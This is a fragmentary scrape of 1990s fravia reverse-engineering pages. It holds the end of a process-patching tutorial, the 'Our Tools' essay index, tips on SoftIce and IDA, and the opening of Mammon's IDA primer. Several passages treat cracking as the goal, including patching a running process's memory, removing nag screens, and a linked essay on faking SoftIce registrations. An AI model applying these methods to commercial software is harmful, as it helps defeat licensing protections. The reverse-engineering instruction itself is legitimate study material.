16-bit Windows program. If the DefaultSeparateVDM
switch
in the Windows section of WIN.INI is TRUE, this flag
causes the CreateProcess function to override the
switch
and run the new process in the shared Virtual DOS
Machine.
CREATE_SUSPENDED The primary thread of the new process is created in a
suspended state, and does not run until the
ResumeThread
function is called.
CREATE_UNICODE_ENVIRONMENT If set, the environment block pointed to by
lpEnvironment
uses Unicode characters. If clear, the environment
block
uses ANSI characters.
DEBUG_PROCESS If this flag is set, the calling process is treated
as a
debugger, and the new process is a process being
debugged.
The system notifies the debugger of all debug events
that occur in the process being debugged.
If you create a process with this flag set, only the
calling thread (the thread that called CreateProcess)
can call the WaitForDebugEvent function.
DEBUG_ONLY_THIS_PROCESS if not set and the calling process is being debugged,
the new process becomes another process being
debugged
Priority Meaning
HIGH_PRIORITY_CLASS Indicates a process that performs time-critical tasks that
must
be executed immediately for it to run correctly.
The threads of a high-priority class process preempt the
threads
of normal-priority or idle-priority class processes.
An example is Windows Task List, which must respond quickly
when
called by the user, regardless of the load on the operating
system. Use extreme care when using the high-priority class,
because a high-priority class CPU-bound application can use
nearly all available cycles.
IDLE_PRIORITY_CLASS Indicates a process whose threads run only when the system is
idle and are preempted by the threads of any process running
in
a higher priority class. An example is a screen saver.
The idle priority class is inherited by child processes.
NORMAL_PRIORITY_CLASS Indicates a normal process with no special scheduling needs.
REALTIME_PRIORITY_CLASS Indicates a process that has the highest possible priority.
The threads of a real-time priority class process preempt the
threads of all other processes, including operating system
processes performing important tasks. For example, a
real-time
process that executes for more than a very brief interval can
cause disk caches not to flush or cause the mouse to be
unresponsive.
lpEnvironment
Points to an environment block for the new process. If this parameter is NULL,
the new process uses the environment of the calling process.
name=value
Because the equal sign is used as a separator, it must not be used in the name of an
environment variable.
If an application provides an environment block, rather than passing NULL for this
parameter, the current directory information of the system drives is not
automatically
propagated to the new process. For a discussion of this situation and how to handle
it,
see the following Remarks section.
An environment block can contain Unicode or ANSI characters. If the environment block
pointed to by lpEnvironment contains Unicode characters, the dwCreationFlags field's
CREATE_UNICODE_ENVIRONMENT flag will be set. If the block contains ANSI characters,
that flag will be clear.
Note that an ANSI environment block is terminated by two zero bytes: one for the last
string, one more to terminate the block. A Unicode environment block is terminated by
four zero bytes: two for the last string, two more to terminate the block.
lpCurrentDirectory
Points to a null-terminated string that specifies the current drive and directory for
the
child process. The string must be a full path and filename that includes a drive
letter.
If this parameter is NULL, the new process is created with the same current drive and
directory as the calling process. This option is provided primarily for shells that
need
to start an application and specify its initial drive and working directory.
lpStartupInfo
Points to a STARTUPINFO structure that specifies how the main window for the new
process
should appear.
lpProcessInformation
Return Value
TUT: wow ! this function has lotta paramaters ;) , but dont worry most of em can
be NULL.
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION;
Members
hProcess
hThread
dwProcessId
dwThreadId
TUT:
This structure will be returned by CreateProcess and it includes the process handle.
Now we got all parameters to create the process, but after it was created we have
to wait until it was initialized. Therefore we must call WaitForInputIdle (hProcess,
INFINITE) to make sure the whole virtual memory of the new process was commited,
before we can patch it.
Before we terminate we also have to close the process and thread handle.
SOURCE:
I wrote a simple Process-Patcher PPATCH.EXE which will patch COUNTERS.EXE.
COUNTERS.EXE was shrinked and it consists only of a counter and a button.
If you press the button it will decrement the counter by one and a MessageBox with
"GO ON !!!" will pop up. If you have reach 0 the MessageBox will show you "GAME OVER
!!!".
Put both exe into the same dir and execute PPATCH.EXE.
Sorry that counters.exe is over 100kb, but Shrinker does not accept small files ;)
Final Notes
I) GREETINGS
Groups:
PERSONAL:
Ob Duh
Ob duh does not apply here, quite the contrary: many will use the material we are explaining here to build and sell their own
applications without even referring to Natzgul's work... poor sods... by the time they will have made some slimy money we will
already be three light years ahead with our tools
You are deep inside fravia's page of reverse engineering, choose your way out:
Let's MASTER the use of those we reckon to be the BEST, a difficult enough
From Fravia's own private task
"cracking posters" collection
Let's study these targets IN THE DEEP and let's analyse their tricks (in fact
"We can do it!" let's completely REVERSE them), a difficult enough task.
(1941) We will -in due time- ameliorate and modify the most interesting code solutions we'll
have found in order to produce our own tools, as +RCG showed in his essay about
The +HCU project COMSPY 98. There's no harry: we have all the time of the world and I'm sure that
Our own tools with the contribution of the smartest reversers of this planet we will succeed.
(1998)
There should be a couple of differences between "our tools" and the existing ones:
1) our tools will always be free and will be given out to anybody not only with their
source code but also with a complete "history" of their development, that you'll also
be able to follow on this site.
2) Our tools will be more 'target oriented' (if you know what I mean :-) than the
existing ones for obvious reasons.
Now let's see if we can put some deeds where our mouth is... as usual a project like this one will florish and prosper
if many will contribute, will pepper out and die if you do not contribute and if you think it's a smart move just to
leech things out, without giving anything in exchange... you're not doing just that, are you?
Background readings
PHASE 1
Filemon, a complete disassembly
[part one] [part two] [part three] [part four] [part five]
by fravia+
August - September 1997
PHASE 2
MemMonitor95 Standard 4.0 and its ThunkConnect32 relations
(Half-crippled program / Unhiding an hidden window / Thunk vagaries)
by Footsteps
22 November 1997
PHASE 3
CRYPTOGRAPHY AND MATHEMATICS OF CHAOS
by +Rcg
14 January 1998
PHASE 4
A FIRST INTRODUCTION TO VxD
by +Rcg
14 January 1998
PHASE 5
VXDennis the menace ~ Fun with VRAMDIR v1.07
by CoreFixar
01 February 1998
PHASE 1
COMSPY98: A TOOL OF OUR TRADE
Magic APIs hooking in Windoze
by +Rcg
15 January 1998
PHASE 2
Mammon's first findings
API Vision (avdemo15.exe) promises
by +Mammon
15 January 1998
PHASE 3
Extending the IDA Script Language
A First Stab
by +Quine
27 January 1998
PHASE 4
How to access the memory of a process, a Tutorial
A First Stab
by NaTzGUL
17 Februar 1998
PHASE 5
NaTzGUL's "wisdec" (Installshield decompiler)
A "real" program (1.052.922 bytes)
by NaTzGUL
24 Februar 1998 __EXPERT__
PHASE 6
SiuL+Hacky's Linux GUIs. The Chances. (Advanced Linux cracking)
by SiuL+Hacky
01 March 1998 __ADVANCED__
10 July
Ozymandias ~ ozyma1.htm Opera 3.21 crack ourtools ~ fra_0134
98
10 July advanced
SiuL+Hacky ~ siullin2.htm Ltrace. The Tool (Linux disassembling) ~ fra_0135
98 ourtools
06 Sep advanced
SiuL+Hacky ~ siulflex.htm Linux advanced cracking: flexlm ~ fra_014C
98 Ourtools
14 Oct Finding an hidden incredible database inside proj 9
TWD ~ twdaplog.htm ~ fra_015A
98 windows98 ourtools
30 Oct A New Toy: reversing the different 'modes'
by Swann ~ swann_mm.htm Ourtools ~ fra_0160
98 of a target
30 Oct advanced
adq ~ laste_09.htm isDcc: An installshield Decompiler ~ fra_0162
98 ourtools
30 Oct Nikodemos The Quick Guide to Smashing those
~ getinfo.htm ourtools ~ fra_0162
98 (Jayke) insidious *.DAT filez
12 Nov
_Al ~ idasym.zip Converts IDA map file to a SoftIce SYM file ourtools ~ fra_tools
98
You are deep inside fravia's page of reverse engineering, choose your way out:
Programmer's corner Our Protections How to protect better Packers & Unp
How to use
our tools
Updated: December 1998
Part of the Our tools project
[Background
readings]
~
[Related
essays]
Make sure you check (and contribute to) the tools of our trade messageboard!
Reversers need tools: from debug.com (the swiss knife of a cracker) to Smartcheck, a great variety of 'snooping' and reversing
tools have been produced, many by great programmer wizards, some of them by ourselves... this section of my site will just
give you some 'basic understanding' about the main tools of our trade: Ida, Softice, Wdasm... you would be well advised to
visit my various tools pages in order to gather other possibly useful tools. Keeping my 'don't steal, reverse!' traditional code of
conduit, you will NEVER be able to find any stolen or cracked application on my site. There's no need. Not only the
'uncracked' versions are very easy to reverse, but also, as explained elsewhere, everything is on the web already, regged and
complete if you'r a lamer, as trial version if you'r a real reverser... you just have to find it. But I'll tell you something: I paid
for ALL tools I use (albeit through pseudonymous addresses and identities :-)
Yes, I paid for wdasm -for instance-, since I, personally, never use a tool that I find really useful more than a year without
registering it. I register them (when I find it fit, of course, not when somebody else would like me to) even if the protections are
a joke (as it often happens... at times I have the impression that Numega -for instance- is just faking a 'sort of' bogus and easy
to reverse protection on all its beautiful products... probably in order to spread million copies of (stolen) softice in every
corner of the world). This 'registering' attitude is not just silly 'correctness', which does not mean anything to us, the reason is
much more deep: being 'quit' is vital for your own development: of course we crack protections but we don't (and won't) STOP
there! As soon as 'real' reversers 'really' use somebody else's code (which does not happen too often, after all) they want to
modify it, they (usually) want to create something new with it, and this is great fun, and this is useful, and this teaches us a
lot... so the price we gladly pay is the price of our own pleasure.
IDA
IDA PRO 3.7 Commercial -very powerful- disassembler for almost any type of processors and file types. Made (with
Watcom C and Borland C++) by the russian genius Ilfak Guilfanov.
Freeware version of Ida Pro "Ida37fw" can be found in the simtelnet collections.
IDA
IDA PRIMER
Ida's philosophy, main settings, how to start
by +Mammon
21 October 1998
IDA
THE GREAT IDA PRIMER
Mammon_'s Tales to Fravia+'s Grandson
by +Mammon
30 October 1998
IDA
An IDA enhancer
Patching the IDA.WLL
by Jean-Marc
12 November 1998
SOFTICE
Softice, the debugger par excellence, its first dos version have been made by the mightiest programmer gods of this planet in
the forgotten times of the older ones... Numega has since provided all reversers with a series of incredible ameliorations of its
tool.
A tough tool to use, though. OF COURSE you should read the (heavy) documentation, available almost everywhere. Don't go
shooting around targets with this weapon without knowing what it can do. IMO you would be then well advised to
Start with good wizard +Mammon's Mankind comes into the Ice Age
there you will find a COMPLETE 'how to use Softice' text with two VERY IMPORTANT exercises:
Debugging an existing application and Regaining Lost Access.
No beginner should be left alone with Softice without this mighty help!
Of course, if you are a total newbye, and cannot even INSTALL softice, you better have a look at siceinst.htm: The Ultimate
Beginner - Session 1: SoftICE Install for Beginners, by i_magnus
SOFTICE
SOFTICE PRIMER
Softice's breakpoints, an interesting list
by +Greythorne
SOFTICE
SOFTICE PRIMER
Softice's conditional breakpoints settings and macros
by Rhayader
SOFTICE
SOFTICE PRIMER
Extending NuMega's SoftIce for Windows 95 using Protected Mode Debugger services API
by Iceman
SOFTICE
Project two: a complete +HCU project about Softice
You'll follow the 'history' of cracking and using softice reading many essays
by various students
SOFTICE
How to trick Numegas registration routines (and download everything you want from Numega's
site) disassembling Softice itself
by +OCHE SATRIANI & +OBLEK
So you wanna register sice with your own name and 'correct' serial number? Nothing easier...
SMARTCHECK
Smartcheck, by Numega, is another incredible reversing tool. Smartcheck is a 'flow analyzer",
that, if the settings are correct will easily let you individuate which parts of an alien code are
running when something you are investigating happens, giving you the exact code location that
has called a particular API or hook.
proj 2
27 Oct 97 Snatch ~ snatch1.htm An interesting tool: Numega Smartcheck 5.0 ~ fra_0094
proj 7
proj 2
7 Nov 97 fravia+ ~ anonma2.htm An interesting tool: Numega's Smartcheck ~ fra_00A5
proj 8
25 Feb 98 Hs2L ~ smartc_2.htm An example of VB Cracking using SmartCheck proj 8 ~ fra_00EA
04 May 98 +Indian_Trail ~ ind_tra1.htm BEGINNERS:Pluckit 3.0 ~ Hip Hip Hurray for Smartcheck proj 8 ~ fra_010F
WDASM
Win32dasm V8.9 W32Dasm is a Windows Program Disassembler/Debugger by Peter Urbanik,
URSoftware.
A demo version can be found in the simtelnet collections.
WDASM
Project zero: a concluded +HCU project about wdasm
You'll follow the 'history' of cracking and using wdasm in nine essays
by various students
RESOURCE EDITORS
You are deep inside fravia's page of reverse engineering, choose your way out:
Programmer's corner Our Protections How to protect better Packers & Unp
OTHER TOOLS
1. Run REGEDIT
5. Close register.
Now you'll notice that the View menu has a new entry named CPU.
Give it a try!
:Lo
C:\SIW95\WINICE.EXE
goto end
:NoLo
echo.
echo WinIce Will Not Be Loaded.
:end
REM end boot options ------------------------
Explanation of /T:2,2:
the first "2" is the option if you don't press anything. The second "2" is the number of seconds if
no instructions are given. So /T:2,2 means the default is 2 after 2 seconds of no instructions.
Eternal_Bliss(at)hotmail(point)com
Our Tools
Well, I'm glad to present the first of a series of article about 'how to use our tools', a very important
'reference' section for all reversers that do peruse my site and for all beginners that never had the courage
to ask...
I hope that many more contributions will follow, so that this 'first stab at' can develop into a real
fundamental reference.
The Owl
IDA is a reverse engineering tool which brings us to the definition of RevEng (as i like to abbreviate it,
pun indended ;-). in contrast to crackers, RevEngers want to get some knowledge embedded in an
executable to put it to their own use or for the experience itself. this info includes protection routines of
course, but that's only a subset of the info you can find in a program. now, how does IDA come into the
picture?
the entire structure of IDA represents a philosophy which is very pleasing for a true RevEnger, but may
not be obvious for the first time user, especially if he's looking for some quick substitute for w32dasm or
some other disassembler. IDA treats an executable file as a structured object which has been created from
a database representing the knowledge of the programmer (called the source code). IDA wants to help a
RevEnger in recreating this database and has many features for this very purpose. since this is not an IDA
tutorial, i won't go into details, but wanted you to have some picture on the philosophy behind IDA. so, if
you look at IDA with a different eye, you will understand the enthusiasm of real IDA users very soon. if
you have more questions you can try to use the various discussion forums or IRC or email...
regards,
the owl
_Mammon+ (1)
IDA really changes the way you think about disassemblers. It's like having an intelligent hex editor--the
entire file is avail for viewing (unlike in W32dasm, which shows you what it feels to be the important
sections) meaning you can root out code hidden in the .data or .rsrc segments. You also have a c-style
script language (which contains routines for changing data and code, reading and writing bytes/files,
prompting the user, re-analyzing the code...everythign you need) to automate things like, say, parsing
string tables or decrypting packed code.
The key to IDA is that you do NOT save the text to a file and search the file; rather you view the listing in
IDA and root things out using the View-Functions and View-Names commands to find subroutines. You
can label code on-the fly using the ";" operator, so that if you label
:010100 call CreateWindow
to "Nagscreen", then all references to that location will change from
jz 08
to
jz Nagscreen
As you can see, this helps tremendously when poring through huge code listings.
In addition, the comments area of the code will often have address references showing code that refers to
that location or code that is referred by that location. These are known as X-Refs and the are *very*
useful...double clicking on them will bring you to the code that referred to/is reffered by your current
location (ESC brings you back). This allows you to "trace" through the code --in a rudimentary manner of
course-- without running the program. Try it, you'll like it.
A few hints...in the loader screen, make sure "Load Resources" is checked and "Rename DLL entries" is
NOT checked. You should of course make sure that the system directory points to c:\\windows\\system or
c:\\winnt\\system32 or /usr/lib depending on OS. To search for strings, you can try "find text in core", but
it is much easier to go to View-Names and look for any name beginning with "a" (IDA's identifier for
"ASCII string").... these will be the strings in the program. Also, in Options-TextRepresentation, display 6
to 8 opcode bytes...this will give the opcodes of the file and cause things to make a lot more sense (in case
IDA is interpreting data as code).
It does not hurt to know the PE file format either (and ELF, if you will be doing Linux...you can run IDA
under DOSEMU and use it to disassemble ELF files)...IDA splits the file into its native segments (.text
=code, .data =data, .stack =empty, .bss =data/empty, .rsrc =resources, .idata =imports, .edata =exports);
you simply have to look in the various segments for the information you need (if you want to know the
exports for a DLL, look at the .edata section; if you want to know what API functions a program uses,
browse the .idata section, for string tables check the .rsrc section).
(deep breath)
Now, for linux....
your friends are strace and od. I have done quite a bit of aliasing with od to use it for different things, for
example:
alias hexdump='od -A x -t x2'
strace will show you all system calls made by a program. IDA will disassemble linux files. GDB will
debug them (but who needs to do that?). It's fairly straightforward, once you get into it...but then again,
very little linux software needs cracking :)
have fun
_m
_Mammon+ (2)
There are a few things that make IDA easier to use. I can't think of any tutorials on IDA offhand, I think
Ghiribizzo did one on Greythorne's site...
But anyhow:
ida.cfg is your equivalent to the winice.dat file, it allows you to make the program easier to use.
look for:
SCREEN_MODE
line and change the parameters to
SCREEN_MODE = 0x6030
This will allow you to have multiple windows in IDA, so that you do not have to only see one screen at a
time. You may want to change the font for the DOS box as well.
below this you have the hotkey definitions...print them out or change them to your liking.
In the "Second Pass" area there is a Text Representation area that I have adjusted as follows (not much,
but a little bit helps):
// Text representation
//
//------------------------------------------ -----
OPCODE_BYTES = 8
INDENTION = 0
COMMENTS_INDENTION = 30
MAX_TAIL = 16
MAX_XREF_LENGTH = 80
MAX_DATALINE_LENGTH = 70
SHOW_AUTOCOMMENTS = NO
SHOW_BAD_INSTRUCTIONS = NO
SHOW_BORDERS = YES
SHOW_EMPTYLINES = YES
SHOW_LINEPREFIXES = YES
SHOW_SEGMENTS = YES
USE_SEGMENT_NAMES = YES
SHOW_REPEATABLE_COMMENTS = YES
SHOW_VOIDS = NO
SHOW_XREFS = 10
SHOW_XREF_VALUES = YES
SHOW_SEGXREFS = NO
SHOW_SOURCE_LINNUM = YES
SHOW_ASSUMES = YES
SHOW_ORIGINS = NO
USE_TABULATION = YES
Now, the rest of it is just getting use to IDA. Heed OWL's words: it is designed to produce compilable
source code, not to do a "quick crack". When you start off, cracking with IDA will take you ten times
longer than cracking with W32dasm, of course using soft-ice; when you get used to it, you will crack 10x
as fast in IDA and never touch soft-ice again (as Quine said, how many times do you really NEED to be in
ring 0 code?).
Now, let's just say that you open explorer.exe in IDA. you want to see what the exports are. You can either
1) View-Segments, look for .idata and jump to that segment...which isn't here (for some reason they are in
_rdata) so we
2) View-Names, and look for API functions. Wow, there are a ton. A good one might be
CreateWindowExW. Doubleclick that name, and the code window will jump to the imports section. There
will be a line with a yellow label (white is comment) CreateWindowExW about 10 (the max I allowed in
my ida.cfg; usually it is 2) blue XREFs (things like sub_159295F). These are locations that call
CreateWindow; double click on any of them to view the code. Press Esc to come back to the
Well, that's neat, but how do you search for strings? You can try Navigate-SearchFor-Text, though it is
slow and the results are printed in the Message (yellow-on-blue) window if nothing is found. I prefer
either browsing the Names window for entries beginning with "a" 9they are all clustered together).
Actually, I lie, I have written IDc scripts to extract the strings and imports for me :)
_m
fravia+,
I just read the IDA page in the new section and thought I might be able to add something helpful that I
discovered recently.
IDA by default prefixes string names with an "a". One of the other things it does is strip out characters that
may affect recompilation. From a crackers point of view, this can increase the time an tedium involved in
our pursuit.
For example, the string "%s-%c%c-%d" would be converted to "asccd", which is nowhere near as obvious.
Sure, you can click on the reference and be taken to the actual string, but that's an extra click for every
string you want to look at.
The solution can be found in the ida.cfg file under the NameChars section. The heading states, "the
following characters are allowed in user-defined names," and looks like this:
NameChars =
"$?@" // asm specific character
"_0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
What the comment doesn't tell you is that autogenerated names are considered user-defined. That means
that only the above chars can be display in a name. Phooey! That certainly detracts from the code
readability. Let's fix that.
NameChars =
" !\"#$%&'()*+,-./0123456789:;<=>?"
"@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_"
"`abcdefghijklmnopqrstuvwxyz{|}~";
Now we can see our "%s-%c%c-%d" string the way it is in the program!
You are deep inside fravia's page of reverse engineering, choose your way out:
Our Tools
homepage links anonymity +ORC students' essays academy database
antismut tools cocktails search_forms mail_fravia
Is reverse engineering illegal?
Contents
--------
*Introduction
*Configuring IDA
*Loading a program
*Viewing Imports
*Viewing Exports
*Viewing Strings/Resources
*Searching for Strings/Code
*Location names
*Working with IDC scripts
*Producing an Output File
*Advanced Techniques
Introduction
------------
Ok, this is a long document for "the basics", mostly due to the Configuration section. New users may
want to skip this section, or simply apply the changes suggested therein without reading the explanations.
Also, some parts of the "Advanced Techniques" may get lengthy as well.
Why is IDA so useful? Because it can do anything. IDA will change the way you think about disassemblers; it
http://www.instinct.org/fravia/mamm_gip.htm (1 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
will change the way you think about cracking. W32Dasm? A toy. Soft-Ice? Unnecessary. When you have a
disassembler
that lets you follow the flow of execution by tapping the keyboard, backtrace just as easily, name variable
addresses/functions, view the entire program as opcodes or assembly, change code to data and back again
according
to your whim, and even run limited C programs to perform operations on the code from searching and parsing
translating and patching...why go somewhere else?
IDA is a reverse engineer's tool. Like many such tools, it is incredibly useful for crackers...yet it is no
designed for them. It is huge, it is complex, it requires a lot of studying and tuning to get it to perform
What follows is an attempt to demonstrate how to get the most out of IDA when getting it "straight out of t
box": configuration changes are suggested, macros are provided, and a basic tour of using the program in th
manner of W32Dasm is attempted as well. By the end of this document you should know well IDA's capabilities
and
potential; you should also realize how to track down API calls, string references, and specific opcodes.
As a tool for engineers, IDA requires that you know what you are doing. The more you know, the more you wil
get
out of it. At the very least I would recommend reading the PE file format reference at
http://www.microsoft.com/win32dev/base/pefile.htm
Cristina Cifuentes' doctoral thesis (selectively, of course) at
http://www.cs.uq.edu.au/groups/csm/dcc.html#thesis
and of course the IDA home page itself at
http://www.unibest.ru/~ig/index.html
...That should be enough to get you familiar enough with disassembling and the PE file format to use
IDA to its greatest potential.
What are all these IDA files? Yes, IDA is huge, and some of the files may be useless to you. Here is a quic
overview:
*.CFG -- IDA Configuration Settings
IDA.KEY -- Registration File
IDA2.EXE -- OS/2 Executable
IDAX.EXE -- DOS4/GW Executable
IDAW.EXE -- Win32 Executable
IDA.INT -- Auto-generated comments
*.LDO -- File loader for OS/2 Executable (ex PE.LDO = PE File Loader)
*.LDX -- File loader for DOS4/GW Executable
*.LDW -- File loader for Windows Executable
*.DLL -- Disassembler for OS/2 Executable (ex PC.DLL = PC Disassembler)
*.D32 -- Disassembler for DOS4/GW Executable
*.W32 -- Disassembler for Windows Executable
/IDC -- IDC macro scripts and include files
http://www.instinct.org/fravia/mamm_gip.htm (2 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
/IDS -- IDS files for commenting/naming imports
/Sig -- FLIRT/Compiler signature files (for recognizing target's compiler)
Configuring IDA
---------------
In the \IDA37? directory, locate the file Ida.cfg and open it in any text editor.
The file is divided into two main sections, First Pass and Second Pass, each of
which has different configuration options: the first pass contains the file
extension to processor type associations, the memory and screen configuration,
OS/2 options, and hotkey definitions; the second pass contains general program
parameters, code analysis configuration, format options for the code displayed,
ASCII string display options, displayable characters, macro definitions, and
processor options.
The areas of the configuration file that you will most likely want to change are:
*Screen Configuration
*Format Options (Text Representation)
*ASCII Display Options
*Processor Options
1. Screen Configuration
Out of the box, the IDA screen configuration section looks like this:
====================================================================
// Screen configuration (first pass)
// ---------------------------------
#ifdef __MSDOS__
SCREEN_MODE = 0 // Screen mode to use
// 0 - don't change screen mode
// DOS: AL for INT 10
#else
SCREEN_MODE = 0 // Screen mode to use
// high byte - cols, low byte - rows
// i.e. 0x5020 is 80cols, 32rows
#endif
SCREEN_PALETTE = 0 // Screen palette:
// 0 - automatic
http://www.instinct.org/fravia/mamm_gip.htm (3 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
// 1 - B & W
// 2 - Monochrone
// 3 - Color
====================================================================
The MD-DOS SCREEN_MODE anf the SCREEN_PALETTE need not change. If you are using
Windows, the second ("else) SCREEN_MODE will determine your screen size. Note that
the col/row numbers are in hexadecimal, thus 0x5020 is 80x32 in decimal. I have found
that 0x5530 works best on an 800x600 resolution screen.
2. Text Representation
Initially, the Text Representation section is given as follows:
====================================================================
// Text representation
//-------------------------------------------------------------------------
OPCODE_BYTES = 0 // don't display bytes of instruction/data
INDENTION = 16 // Indention of instructions
COMMENTS_INDENTION = 40 // Indention for on-line comments
MAX_TAIL = 16 // Tail depth
MAX_XREF_LENGTH = 80 // Maximal length of line with cross-references
MAX_DATALINE_LENGTH = 70 // Data directives (db,dw, etc):
// max length of argument string
SHOW_AUTOCOMMENTS = NO // Don't show silly comments
SHOW_BAD_INSTRUCTIONS = NO // Don't bother about instruction lengthes
SHOW_BORDERS = YES // Borders between data/code
SHOW_EMPTYLINES = YES // Generate empty line to make
// text more readable
SHOW_LINEPREFIXES = YES // Show line prefixes (1000:0000)
SHOW_SEGMENTS = YES // Show segments in addresses
USE_SEGMENT_NAMES = YES // Show segment names instead of numbers
SHOW_REPEATABLE_COMMENTS = YES // Of course, use repeatable comments
// Disabling this increases IDA speed.
SHOW_VOIDS = NO // Don't display marks
SHOW_XREFS = 2 // Show 2 cross-references
SHOW_XREF_VALUES = YES // If not, xrefs are displayed
// as "..."
SHOW_SEGXREFS = YES // Show segment part of addresses
// in cross-references
SHOW_SOURCE_LINNUM = YES // Show source line numbers
// (used in .obj files and java)
SHOW_ASSUMES = YES // Generate 'assume' directives
SHOW_ORIGINS = YES // Generate 'org' directives
USE_TABULATION = YES // Use '\t' in output file
http://www.instinct.org/fravia/mamm_gip.htm (4 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
====================================================================
Of course this section is modified to suit taste, and can be configured through the
Options-Text Representation menu item (though changes made within IDA are saved only
for the current project). I usually use the following changes:
====================================================================
OPCODE_BYTES = 6 // I want the hex codes!
INDENTION = 0 // Save some space
COMMENTS_INDENTION = 30 // Save some space
MAX_DATALINE_LENGTH = 100 // These can get long
SHOW_BAD_INSTRUCTIONS = YES // bother about instruction lengthes
SHOW_BORDERS = NO // why border?
SHOW_EMPTYLINES = NO // These lines waste space
SHOW_XREFS = 15 // Show a ton of cross-references
SHOW_ORIGINS = NO // Hide 'org' directives
====================================================================
The first part determines what names are shown in the "Names" window; in general, the fewer the better.
If you want the Names to show only the exports of the program, choose 0x02. The next section determines
how internal addresses are referred to in the disassembled listing; if you like Sourcer's method
of defining "location1, location2, etc" you should try defaulting to NM_SERIAL; if you like the location
to show just the segment name and offset, use NM_SHORT. You can experiment with this using the Options->
Name Representation menu item in IDA.
#endif // __PC__
====================================================================
As you can, see, there are a few useful disassembly options here, most of which
are already set. In fact, the only thing you should have to change is the following
line:
WINDIR = "c:\\windows\\system"
This will correctly locate the WinAPI DLLs--it is very important to set this!
Quite a few, eh? Basically, anything in IDA can have a hotkey. Note all of the 0's in the
above list: these options have not hotkeys by default. It is generally good to set frequently-
use operations (ASCII text representation, View Names, Search, etc) up as HotKeys, and to change
hotkeys which make no sense into better menmonics.
6. Analysis Parameters
IDA by default has the following Anaylsis Parameters set:
// Analysis parameters
//-------------------------------------------------------------------------
ENABLE_ANALYSIS = YES // Background analysis is enabled
SHOW_INDICATOR = YES // Show background analysis indicator
#define AF_FIXUP 0x0001 // Create offsets and segments using fixup info
#define AF_MARKCODE 0x0002 // Mark typical code sequences as code
#define AF_UNK 0x0004 // Delete instructions with no xrefs
#define AF_CODE 0x0008 // Trace execution flow
#define AF_PROC 0x0010 // Create functions if call is present
#define AF_USED 0x0020 // Analyse and create all xrefs
#define AF_FLIRT 0x0040 // Use flirt signatures
#define AF_PROCPTR 0x0080 // Create function if data xref data->code32 exists
#define AF_JFUNC 0x0100 // Rename jump functions as j_...
#define AF_NULLSUB 0x0200 // Rename empty functions as nullsub_...
#define AF_LVAR 0x0400 // Create stack variables
#define AF_TRACE 0x0800 // Trace stack pointer
#define AF_ASCII 0x1000 // Create ascii string if data xref exists
#define AF_IMMOFF 0x2000 // Convert 32bit instruction operand to offset
#define AF_DREFOFF 0x4000 // Create offset if data xref to seg32 exists
http://www.instinct.org/fravia/mamm_gip.htm (12 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
#define AF_FINAL 0x8000 // Final pass of analysis
// See also ANALYSIS2, bit AF2_DODATA
ANALYSIS = 0xFFFF // This value is combination of the defined
// above bits.
#define AF2_JUMPTBL 0x0001 // Locate and create jump tables
#define AF2_DODATA 0x0002 // Coagulate data segs in the final pass
ANALYSIS2 = 0x0001
====================================================================
Generally, you will not need to change any of these parameters. In case you feel
like playing with them, though, here is the IDA help file description of each:
Loading a program
-----------------
For all of the examples in this primer, I will be using notepad.exe as a target; I will
also be assuming that the configuration changes mentioned above have been made. To begin,
launch IDAW.EXE and type "c:\windows\notepad.exe" at the "Select File" dialog box, press
OK.
http://www.instinct.org/fravia/mamm_gip.htm (16 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
Immediately IDA will bring up a dialog box prompting you for loading options. Make sure that
Portable Executable is checked (for Win32 files), that "Create Segments", "Load Resources", and
"Make Imports Section" are checked, and that "Rename DLL Entries" is unchecked. Also ensure that
the "DLL directory" is set to the location of kernel32.dll et. al., usually C:\windows\system.
Press OK, and wait for the green "Ready" notice to appear in the upper left of the IDA menu bar.
A few notes about the IDA user interface may be helpful at this point. IDA uses a text-mode windowing
techniques common in console-mode applications; each window has a toborder with a green square (close),
a title, and a green arrow (restore/mamximize), a right border with a veritcal scroll bar, and a bottom
border with a horizontal scrollbar and a green corner (resize); the windows may be moved by dragging on
the title bar, or resized by dragging on the green corner. F6 switches between windows (like Alt-Tab),
F7 tiles all windows (except the Messages Windows, which is like a desktop), and F8 cascades all windows.
Note that the disassembled listing is referred to as the Code Window or Text Window; you can open multiple
views of the same program by selecting the View->Disassembly menu item, or by pressing F3.
As with any Windows DOS box, clicking on the small MS-DOS icon (for the system menu) gives you an Edit
submenu with Mark and Copy options; to copy text out of IDA and inot a windows editor, select Edit->Mark,
highlight the text you want to copy, then select Edit->Copy, then go to the windows editor and Ctrl-V
(or Edit->Paste) to insert the text selected from IDA.
Viewing Imports
---------------
All of the programs's imports will appear as names in the program, and may be viewed in the Names window
by selecting the View->Names menu item; however as this contains all of the names in the program it may be
a bit confusing. Double-clicking on the name of an inport will bring you to its entry in the .idata segment
(see below).
Another way to view the imports is to select the View->Segments menu item, which will bring up the Segments
window. Double-click on the .idata segment; this will jump the disassembled listing to the start of the .id
segment, which will contain all of the program's imports in pink text. To the right of each import, at the
of
the line, will be a list of addresses in the program which all that import. Double-clicking on one of these
addresses will jump the disassembled listing to that address.
Example: View the .idata segment of Notepad.exe as mentioned above. The imports are sorted by module; scrol
down
to the Kernel32.dll imports and find the one for "lstrcmpa". You should see a line like this:
00407300 ?? ?? ?? ?? extrn lstrcmpA:dword ; DATA XREF: sub_401FAC+15
